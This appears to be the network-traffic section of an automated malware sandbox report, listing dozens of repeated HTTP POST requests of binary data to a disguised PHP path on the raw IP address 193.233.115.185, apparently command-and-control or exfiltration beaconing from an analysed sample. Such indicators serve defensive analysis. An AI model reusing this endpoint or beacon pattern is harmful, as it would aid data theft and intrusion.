                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 1884Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 1884Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 1884Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 1884Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 1884Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 1884Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 1856Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 1884Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 1868Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 1884Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 1884Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
